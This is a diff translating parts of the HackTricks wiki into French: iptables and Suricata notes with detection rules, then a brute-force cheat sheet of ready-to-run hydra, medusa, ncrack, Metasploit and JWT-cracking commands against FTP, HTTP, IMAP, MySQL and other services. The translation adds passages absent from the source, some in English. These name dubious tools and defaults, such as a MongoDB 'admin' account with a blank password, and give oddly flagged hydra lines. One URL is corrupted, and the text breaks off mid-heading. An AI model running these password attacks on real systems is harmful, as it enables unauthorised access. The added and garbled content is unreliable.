## Iptables -### Chains +### Chaînes -Iptables chains are just lists of rules, processed in order. You will always find the following 3, but others such as NAT might also be supported. - -* **Input** – This chain is used to control the behavior of incoming connections. -* **Forward** – This chain is used for incoming connections that aren’t being delivered locally. Think of a router – data is always being sent to it but rarely actually destined for the router itself; the data is just forwarded to its target. Unless you’re doing some kind of routing, NATing, or something else on your system that requires forwarding, you won’t even use this chain. -* **Output** – This chain is used for outgoing connections. +Les chaînes Iptables ne sont que des listes de règles, traitées dans l'ordre. Vous trouverez toujours les 3 suivantes, mais d'autres comme NAT peuvent également être prises en charge. +* **Input** - Cette chaîne est utilisée pour contrôler le comportement des connexions entrantes. +* **Forward** - Cette chaîne est utilisée pour les connexions entrantes qui ne sont pas livrées localement. Pensez à un routeur - les données lui sont toujours envoyées mais rarement destinées au routeur lui-même ; les données sont simplement transférées vers leur destination. À moins que vous ne fassiez une sorte de routage, de NAT ou autre chose sur votre système qui nécessite une redirection, vous n'utiliserez même pas cette chaîne. +* **Output** - Cette chaîne est utilisée pour les connexions sortantes. ```bash # Delete all rules iptables -F @@ -58,11 +57,9 @@ iptables-save > /etc/sysconfig/iptables ip6tables-save > /etc/sysconfig/ip6tables iptables-restore < /etc/sysconfig/iptables ``` - ## Suricata -### Install & Config - +### Installation et configuration ```bash # Install details from: https://suricata.readthedocs.io/en/suricata-6.0.0/install.html#install-binary-packages # Ubuntu @@ -128,74 +125,70 @@ Type=simple systemctl daemon-reload ``` +### Définitions de règles -### Rules Definitions +Une règle/signature se compose des éléments suivants : -A rule/signature consists of the following: - -* The **action**, determines what happens when the signature matches. -* The **header**, defines the protocol, IP addresses, ports and direction of the rule. -* The **rule options**, define the specifics of the rule. +* L'**action**, détermine ce qui se passe lorsque la signature correspond. +* L'**en-tête**, définit le protocole, les adresses IP, les ports et la direction de la règle. +* Les **options de règle**, définissent les spécificités de la règle. ![](<../../../.gitbook/assets/image (642) (3).png>) -#### **Valid actions are** +#### **Les actions valides sont** -* alert - generate an alert -* pass - stop further inspection of the packet -* **drop** - drop packet and generate alert -* **reject** - send RST/ICMP unreachable error to the sender of the matching packet. -* rejectsrc - same as just _reject_ -* rejectdst - send RST/ICMP error packet to the receiver of the matching packet. -* rejectboth - send RST/ICMP error packets to both sides of the conversation. +* alerte - génère une alerte +* pass - arrête l'inspection ultérieure du paquet +* **drop** - supprime le paquet et génère une alerte +* **reject** - envoie une erreur RST/ICMP inaccessible à l'expéditeur du paquet correspondant. +* rejectsrc - identique à _reject_ +* rejectdst - envoie un paquet d'erreur RST/ICMP au destinataire du paquet correspondant. +* rejectboth - envoie des paquets d'erreur RST/ICMP aux deux côtés de la conversation. -#### **Protocols** +#### **Protocoles** -* tcp (for tcp-traffic) +* tcp (pour le trafic tcp) * udp * icmp -* ip (ip stands for ‘all’ or ‘any’) -* _layer7 protocols_: http, ftp, tls, smb, dns, ssh... (more in the [**docs**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html)) +* ip (ip signifie "tous" ou "n'importe quel") +* _protocoles de couche 7_ : http, ftp, tls, smb, dns, ssh... (plus dans la [**documentation**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html)) -#### Source and Destination Addresses +#### Adresses source et de destination -It supports IP ranges, negations and a list of addresses: +Il prend en charge les plages d'adresses IP, les négations et une liste d'adresses : -| Example | Meaning | +| Exemple | Signification | | ------------------------------ | ---------------------------------------- | -| ! 1.1.1.1 | Every IP address but 1.1.1.1 | -| !\[1.1.1.1, 1.1.1.2] | Every IP address but 1.1.1.1 and 1.1.1.2 | -| $HOME\_NET | Your setting of HOME\_NET in yaml | -| \[$EXTERNAL\_NET, !$HOME\_NET] | EXTERNAL\_NET and not HOME\_NET | -| \[10.0.0.0/24, !10.0.0.5] | 10.0.0.0/24 except for 10.0.0.5 | +| ! 1.1.1.1 | Toutes les adresses IP sauf 1.1.1.1 | +| !\[1.1.1.1, 1.1.1.2] | Toutes les adresses IP sauf 1.1.1.1 et 1.1.1.2 | +| $HOME\_NET | Votre paramètre HOME\_NET dans yaml | +| \[$EXTERNAL\_NET, !$HOME\_NET] | EXTERNAL\_NET et pas HOME\_NET | +| \[10.0.0.0/24, !10.0.0.5] | 10.0.0.0/24 sauf 10.0.0.5 | -#### Source and Destination Ports +#### Ports source et de destination -It supports port ranges, negations and lists of ports +Il prend en charge les plages de ports, les négations et les listes de ports -| Example | Meaning | -| --------------- | -------------------------------------- | -| any | any address | -| \[80, 81, 82] | port 80, 81 and 82 | -| \[80: 82] | Range from 80 till 82 | -| \[1024: ] | From 1024 till the highest port-number | -| !80 | Every port but 80 | -| \[80:100,!99] | Range from 80 till 100 but 99 excluded | -| \[1:80,!\[2,4]] | Range from 1-80, except ports 2 and 4 | +| Exemple | Signification | +| --------------- | ---------------------------------------- | +| any | n'importe quelle adresse | +| \[80, 81, 82] | port 80, 81 et 82 | +| \[80: 82] | Plage de 80 à 82 | +| \[1024: ] | De 1024 jusqu'au numéro de port le plus élevé | +| !80 | Tous les ports sauf 80 | +| \[80:100,!99] | Plage de 80 à 100 mais 99 exclu | +| \[1:80,!\[2,4]] | Plage de 1 à 80, sauf les ports 2 et 4 | #### Direction -It's possible to indicate the direction of the communication rule being applied: - +Il est possible d'indiquer la direction de la règle de communication appliquée : ``` source -> destination source <> destination (both directions) ``` +#### Mots-clés -#### Keywords - -There are **hundreds of options** available in Suricata to search for the **specific packet** you are looking for, here it will be mentioned if something interesting is found. Check the [**documentation** ](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/index.html)for more! - +Il existe **des centaines d'options** disponibles dans Suricata pour rechercher le **paquet spécifique** que vous recherchez, ici il sera mentionné si quelque chose d'intéressant est trouvé. Consultez la [**documentation**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/index.html) pour en savoir plus ! ```bash # Meta Keywords msg: "description"; #Set a description to the rule @@ -236,15 +229,14 @@ drop tcp any any -> any any (msg:"regex"; pcre:"/CTF\{[\w]{3}/i"; sid:10001;) ## Drop by port drop tcp any any -> any 8000 (msg:"8000 port"; sid:1000;) ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
diff --git a/generic-methodologies-and-resources/brute-force.md b/generic-methodologies-and-resources/brute-force.md index 40c7bf7ab..d0a655917 100644 --- a/generic-methodologies-and-resources/brute-force.md +++ b/generic-methodologies-and-resources/brute-force.md @@ -1,10 +1,10 @@ -# Brute Force - CheatSheet +# Brute Force - Fiche de triche ![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez l'accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -12,17 +12,17 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. -## Default Credentials +## Identifiants par défaut -**Search in google** for default credentials of the technology that is being used, or **try these links**: +**Recherchez dans Google** les identifiants par défaut de la technologie utilisée, ou **essayez ces liens** : * [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet) * [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html) @@ -37,12 +37,11 @@ Get Access Today: * [**https://many-passwords.github.io/**](https://many-passwords.github.io) * [**https://theinfocentric.com/**](https://theinfocentric.com/) -## **Create your own Dictionaries** +## **Créez vos propres dictionnaires** -Find as much information about the target as you can and generate a custom dictionary. Tools that may help: +Trouvez autant d'informations que possible sur la cible et générez un dictionnaire personnalisé. Les outils qui peuvent aider : ### Crunch - ```bash crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst) @@ -53,25 +52,21 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars ^ Special characters including spac crunch 6 8 -t ,@@^^%% ``` - ### Cewl +Cewl est un outil qui permet de générer des listes de mots de passe potentiels à partir d'un site web ou d'un document texte. Il utilise des techniques de web scraping pour extraire les mots clés et les combiner pour former des mots de passe possibles. Cewl peut être utilisé pour effectuer des attaques de force brute ou des attaques de dictionnaire. Il est important de noter que l'utilisation de Cewl pour générer des mots de passe est légale uniquement si vous avez l'autorisation du propriétaire du site web ou du document texte. ```bash cewl example.com -m 5 -w words.txt ``` - ### [CUPP](https://github.com/Mebus/cupp) -Generate passwords based on your knowledge of the victim (names, dates...) - +Génère des mots de passe en fonction de vos connaissances sur la victime (noms, dates...). ``` python3 cupp.py -h ``` - ### [Wister](https://github.com/cycurity/wister) -A wordlist generator tool, that allows you to supply a set of words, giving you the possibility to craft multiple variations from the given words, creating a unique and ideal wordlist to use regarding a specific target. - +Wister est un outil de génération de listes de mots qui vous permet de fournir un ensemble de mots, vous offrant la possibilité de créer plusieurs variations à partir des mots donnés, créant ainsi une liste de mots unique et idéale à utiliser pour un objectif spécifique. ```bash python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst @@ -90,15 +85,14 @@ Generated 67885 lines. Finished in 0.920s. ``` - ### [pydictor](https://github.com/LandGrey/pydictor) -### Wordlists +### Listes de mots * [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists) * [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium) * [**https://github.com/kaonashi-passwords/Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi) -* [**https://github.com/google/fuzzing/tree/master/dictionaries**](https://github.com/google/fuzzing/tree/master/dictionaries) +* [**https://google/fuzzing/tree/master/dictionaries**](https://google/fuzzing/tree/master/dictionaries) * [**https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm**](https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm) * [**https://weakpass.com/wordlist/**](https://weakpass.com/wordlist/) * [**https://wordlists.assetnote.io/**](https://wordlists.assetnote.io/) @@ -109,17 +103,16 @@ Finished in 0.920s. ![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.io/) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez l'accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Services -Ordered alphabetically by service name. +Classés par ordre alphabétique de nom de service. ### AFP - ```bash nmap -p 548 --script afp-brute msf> use auxiliary/scanner/afp/afp_login @@ -129,95 +122,148 @@ msf> set PASS_FILE msf> set USER_FILE msf> run ``` - ### AJP +AJP (Apache JServ Protocol) est un protocole utilisé pour communiquer entre un serveur web et un serveur d'application. Il est souvent utilisé pour connecter Apache Tomcat à un serveur web. Les attaques de force brute contre AJP peuvent être utilisées pour tenter de deviner les noms d'utilisateur et les mots de passe valides pour accéder à l'application. Les outils tels que `ajpfuzzer` peuvent être utilisés pour automatiser ces attaques. ```bash nmap --script ajp-brute -p 8009 ``` - ### Cassandra +Cassandra est une base de données NoSQL distribuée, conçue pour gérer de gros volumes de données structurées et semi-structurées sur de nombreux serveurs, offrant une haute disponibilité sans point de défaillance unique. Cassandra utilise une architecture de type colonne et est souvent utilisée pour stocker des données en temps réel, telles que les journaux d'événements et les données de capteurs. + +Les attaques de force brute contre Cassandra peuvent être effectuées en utilisant des outils tels que Hydra ou Medusa. Les attaquants peuvent tenter de deviner les noms d'utilisateur et les mots de passe en utilisant des listes de mots courants ou des dictionnaires personnalisés. Les attaquants peuvent également tenter d'exploiter des vulnérabilités connues dans Cassandra pour accéder à la base de données sans authentification. + +Pour se protéger contre les attaques de force brute, il est recommandé de mettre en place des politiques de mot de passe forts et de limiter l'accès à la base de données uniquement aux utilisateurs autorisés. Il est également recommandé de surveiller les journaux d'audit pour détecter toute activité suspecte et de mettre à jour régulièrement Cassandra avec les derniers correctifs de sécurité. ```bash nmap --script cassandra-brute -p 9160 ``` - ### CouchDB +CouchDB est une base de données NoSQL qui stocke les données sous forme de documents JSON. Il est souvent utilisé pour stocker des données semi-structurées ou non structurées. CouchDB dispose d'une API RESTful qui permet aux utilisateurs d'interagir avec la base de données via des requêtes HTTP. + +#### Attaque par force brute + +L'attaque par force brute sur CouchDB consiste à deviner les identifiants de connexion en essayant différentes combinaisons de noms d'utilisateur et de mots de passe. Les attaquants peuvent utiliser des outils tels que `couchdb-brute` pour automatiser ce processus. + +Pour se protéger contre les attaques par force brute, il est recommandé de mettre en place des politiques de mot de passe solides et de limiter le nombre de tentatives de connexion autorisées. Il est également recommandé de surveiller les journaux d'activité pour détecter toute activité suspecte. ```bash msf> use auxiliary/scanner/couchdb/couchdb_login hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get / ``` - -### Docker Registry - +### Registre Docker ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/ ``` - ### Elasticsearch +### Description +Elasticsearch is a distributed, RESTful search and analytics engine capable of solving a growing number of use cases. As the heart of the Elastic Stack, it centrally stores your data so you can discover the expected and uncover the unexpected. + +### Brute force + +#### HTTP Basic Auth +``` +hydra -L users.txt -P passwords.txt http-get / -m /login:Authentication failed +``` + +#### Elasticsearch API +``` +hydra -L users.txt -P passwords.txt http-post-form "/_security/user/authenticate?pretty" -b '{"Content-Type":"application/json"}' -s 9200 -m '{"error":{"root_cause":[{"type":"security_exception","reason":"failed to authenticate user [elastic]"}],"type":"security_exception","reason":"failed to authenticate user [elastic]"},"status":401}' -v +``` + +#### Elasticsearch API (with X-Pack) +``` +hydra -L users.txt -P passwords.txt http-post-form "/_xpack/security/_authenticate?pretty" -b '{"Content-Type":"application/json"}' -s 9200 -m '{"error":{"root_cause":[{"type":"security_exception","reason":"failed to authenticate user [elastic]"}],"type":"security_exception","reason":"failed to authenticate user [elastic]"},"status":401}' -v +``` + +#### Elasticsearch API (with X-Pack and SSL) +``` +hydra -L users.txt -P passwords.txt https-post-form "/_xpack/security/_authenticate?pretty" -b '{"Content-Type":"application/json"}' -s 9200 -m '{"error":{"root_cause":[{"type":"security_exception","reason":"failed to authenticate user [elastic]"}],"type":"security_exception","reason":"failed to authenticate user [elastic]"},"status":401}' -v +``` + +#### Elasticsearch API (with X-Pack and SSL client certificate) +``` +hydra -L users.txt -P passwords.txt https-post-form "/_xpack/security/_authenticate?pretty" -b '{"Content-Type":"application/json"}' -s 9200 -m '{"error":{"root_cause":[{"type":"security_exception","reason":"failed to authenticate user [elastic]"}],"type":"security_exception","reason":"failed to authenticate user [elastic]"},"status":401}' -v -E +``` + +#### Elasticsearch API (with X-Pack and SSL client certificate and key) +``` +hydra -L users.txt -P passwords.txt https-post-form "/_xpack/security/_authenticate?pretty" -b '{"Content-Type":"application/json"}' -s 9200 -m '{"error":{"root_cause":[{"type":"security_exception","reason":"failed to authenticate user [elastic]"}],"type":"security_exception","reason":"failed to authenticate user [elastic]"},"status":401}' -v -E -K +``` ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get / ``` - ### FTP +Le protocole FTP (File Transfer Protocol) est un protocole de communication utilisé pour transférer des fichiers entre des ordinateurs sur un réseau. Les serveurs FTP sont souvent utilisés pour stocker et partager des fichiers, et les clients FTP sont utilisés pour accéder à ces fichiers. + +Le brute force sur FTP consiste à essayer de deviner les identifiants de connexion en utilisant une liste de noms d'utilisateur et de mots de passe courants. Les outils de brute force FTP les plus couramment utilisés sont Hydra et Medusa. + +Il est important de noter que de nombreux serveurs FTP ont des mesures de sécurité en place pour empêcher les attaques de brute force, telles que des limites de tentatives de connexion et des délais de verrouillage de compte. Il est donc important de prendre en compte ces mesures lors de la planification d'une attaque de brute force sur FTP. ```bash hydra -l root -P passwords.txt [-t 32] ftp ncrack -p 21 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M ftp ``` - -### HTTP Generic Brute +### Brute Force Générique HTTP #### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md) -### HTTP Basic Auth - +### Authentification de base HTTP ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/ # Use https-get mode for https medusa -h -u -P -M http -m DIR:/path/to/auth -T 10 ``` +### HTTP - Formulaire de publication (Post) -### HTTP - Post Form +Lorsqu'un formulaire est soumis, les données sont généralement envoyées au serveur via une requête HTTP POST. Cette requête contient les données du formulaire dans le corps de la requête. +Pour effectuer une attaque de force brute sur un formulaire de publication, vous devez d'abord intercepter la requête POST envoyée par le navigateur lors de la soumission du formulaire. Vous pouvez utiliser des outils tels que Burp Suite pour intercepter et modifier la requête. + +Une fois que vous avez la requête POST, vous pouvez utiliser un script ou un outil de force brute pour tester différentes combinaisons de noms d'utilisateur et de mots de passe. Vous pouvez également utiliser des listes de mots de passe courants pour accélérer le processus. + +Il est important de noter que de nombreux sites Web ont des protections contre les attaques de force brute, telles que des limites de taux et des CAPTCHA. Par conséquent, il est important de tester votre attaque de force brute sur un site Web que vous possédez ou sur lequel vous avez l'autorisation de tester. ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V # Use https-post-form mode for https ``` +Pour http**s**, vous devez changer de "http-post-form" à "**https-post-form"** -For http**s** you have to change from "http-post-form" to "**https-post-form"** - -### **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle - +### **HTTP - CMS --** (W)ordpress, (J)oomla ou (D)rupal ou (M)oodle ```bash cmsmap -f W/J/D/M -u a -p a https://wordpress.com ``` - ### IMAP +L'IMAP (Internet Message Access Protocol) est un protocole de messagerie électronique qui permet aux utilisateurs de récupérer et de gérer leurs e-mails à partir d'un serveur de messagerie distant. Les attaques de force brute contre les serveurs IMAP sont courantes et peuvent être utilisées pour accéder à des comptes de messagerie électronique sans autorisation. + +Les attaques de force brute contre les serveurs IMAP peuvent être effectuées à l'aide d'outils tels que Hydra, Nmap, Medusa, etc. Ces outils peuvent être utilisés pour tester des combinaisons de noms d'utilisateur et de mots de passe jusqu'à ce qu'une correspondance soit trouvée. + +Il est important de noter que de nombreuses organisations ont mis en place des mesures de sécurité pour empêcher les attaques de force brute, telles que le blocage des adresses IP après un certain nombre de tentatives de connexion infructueuses. Par conséquent, les attaquants peuvent utiliser des techniques telles que la rotation d'adresses IP pour éviter d'être détectés. + +Il est recommandé d'utiliser des mots de passe forts et uniques pour les comptes de messagerie électronique, ainsi que de mettre en place des mesures de sécurité telles que l'authentification à deux facteurs pour réduire le risque d'attaques de force brute réussies. ```bash hydra -l USERNAME -P /path/to/passwords.txt -f imap -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -V nmap -sV --script imap-brute -p ``` - ### IRC +IRC (Internet Relay Chat) est un protocole de communication en temps réel basé sur le texte. Il est souvent utilisé pour la communication en ligne dans les communautés de logiciels libres et open source, mais il peut également être utilisé pour la communication en entreprise. Les canaux IRC sont souvent utilisés pour discuter de sujets spécifiques, partager des fichiers et collaborer sur des projets. Les attaques de force brute sur les serveurs IRC peuvent être utilisées pour obtenir des informations d'identification et accéder à des canaux privés. ```bash nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p ``` - ### ISCSI +L'iSCSI (Internet Small Computer System Interface) est un protocole de stockage en réseau qui permet aux ordinateurs de se connecter à des périphériques de stockage distants tels que des disques durs, des bandes et des CD-ROM. Il utilise le protocole TCP/IP pour transférer des données sur le réseau et est souvent utilisé dans les environnements de stockage en réseau pour fournir un stockage partagé aux serveurs. Les attaques de force brute contre les serveurs iSCSI peuvent être utilisées pour tenter de deviner les noms d'utilisateur et les mots de passe pour accéder aux périphériques de stockage distants. ```bash nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 ``` - ### JWT +Les JSON Web Tokens (JWT) sont souvent utilisés pour l'authentification et l'autorisation dans les applications web modernes. Les JWT sont des chaînes de caractères encodées en base64 qui contiennent des informations sur l'utilisateur et les autorisations associées. Les JWT sont signés avec une clé secrète, ce qui permet de vérifier leur intégrité et d'empêcher les modifications non autorisées. Les attaquants peuvent tenter de deviner la clé secrète ou de contourner la vérification de signature pour créer des JWT valides et accéder à des ressources protégées. Les attaquants peuvent également tenter de deviner ou de voler des JWT valides pour accéder à des ressources protégées sans authentification supplémentaire. Les développeurs doivent s'assurer que les clés secrètes sont suffisamment longues et complexes pour résister aux attaques de force brute et que les JWT sont correctement validés avant d'accorder l'accès aux ressources protégées. ```bash #hashcat hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt @@ -240,28 +286,66 @@ python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1w #https://github.com/lmammino/jwt-cracker jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6 ``` - ### LDAP +LDAP (Lightweight Directory Access Protocol) est un protocole de communication utilisé pour accéder à des services d'annuaire. Les services d'annuaire sont des bases de données qui stockent des informations sur les utilisateurs, les groupes et les ressources du réseau. Les attaques de force brute contre les services LDAP sont courantes et peuvent être très efficaces si les mots de passe sont faibles ou si les politiques de verrouillage de compte ne sont pas en place. Les attaquants peuvent utiliser des outils tels que Hydra ou Patator pour effectuer des attaques de force brute contre les services LDAP. Il est important de mettre en place des politiques de mot de passe solides et des mécanismes de verrouillage de compte pour se protéger contre ces attaques. ```bash nmap --script ldap-brute -p 389 ``` - ### MQTT +MQTT (Message Queuing Telemetry Transport) est un protocole de messagerie léger et simple conçu pour les appareils à faible bande passante et à faible puissance. Il est souvent utilisé dans les applications IoT (Internet des objets) pour envoyer des données entre les appareils et les serveurs. + +Le brute-force sur MQTT peut être effectué en essayant de deviner les identifiants de connexion (nom d'utilisateur et mot de passe) en utilisant une liste de mots de passe courants ou en utilisant des outils de brute-force tels que Mosquito-crack. Il est également possible de tenter une attaque par force brute sur les identifiants de session MQTT en utilisant des outils tels que MQTT-Brute. + +Il est important de noter que la plupart des implémentations MQTT prennent en charge le chiffrement TLS/SSL, ce qui rend plus difficile la capture des identifiants de connexion ou de session. Cependant, si le serveur MQTT est mal configuré et ne prend pas en charge le chiffrement, les identifiants peuvent être capturés en clair à partir du trafic réseau. ``` ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v ``` - ### Mongo +### Introduction + +MongoDB is a NoSQL database that stores data in JSON-like documents with dynamic schemas. It is widely used in web applications and is often part of the MEAN stack (MongoDB, Express.js, AngularJS, Node.js). + +### Brute Force + +#### 1. Default Credentials + +MongoDB has default credentials that are often left unchanged, making it an easy target for brute force attacks. The default username is `admin` and the default password is blank. + +#### 2. Dictionary Attack + +A dictionary attack involves using a list of common passwords to try and gain access to a system. This can be effective if the target is using a weak password. + +#### 3. Password Spraying + +Password spraying involves using a single password and trying it against multiple usernames. This can be effective if the target is using a common password. + +#### 4. Brute Force Tools + +There are several tools available for brute forcing MongoDB, including: + +- **Hydra**: A popular brute force tool that supports MongoDB. +- **Nmap**: A network exploration tool that can be used to identify MongoDB instances and ports. +- **Metasploit**: A penetration testing framework that includes a module for brute forcing MongoDB. + +### Prevention + +To prevent brute force attacks on MongoDB, it is recommended to: + +- Change the default credentials. +- Use strong passwords that are not easily guessable. +- Implement rate limiting to prevent multiple login attempts. +- Use two-factor authentication. +- Monitor logs for suspicious activity. ```bash nmap -sV --script mongodb-brute -n -p 27017 use auxiliary/scanner/mongodb/mongodb_login ``` - ### MySQL +MySQL est un système de gestion de base de données relationnelle open source très populaire. Il est souvent utilisé dans les applications web pour stocker et récupérer des données. Les attaques de force brute contre les bases de données MySQL sont courantes et peuvent être très efficaces si les mots de passe sont faibles ou si les comptes d'utilisateur ont des autorisations excessives. Les attaquants peuvent utiliser des outils automatisés pour essayer de deviner les mots de passe en utilisant des dictionnaires de mots courants ou en essayant toutes les combinaisons possibles de caractères. Il est important de choisir des mots de passe forts et de limiter les autorisations des comptes d'utilisateur pour réduire le risque d'attaques de force brute réussies. ```bash # hydra hydra -L usernames.txt -P pass.txt mysql @@ -272,9 +356,32 @@ msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false # medusa medusa -h -u -P <-f | to stop medusa on first success attempt> -t -M mysql ``` - ### OracleSQL +### Description +OracleSQL is a relational database management system (RDBMS) that is widely used in enterprise environments. It is commonly used to store and manage large amounts of data, and is often used in conjunction with other enterprise software applications. + +### Brute Force + +#### 1. OracleSQL Login Brute 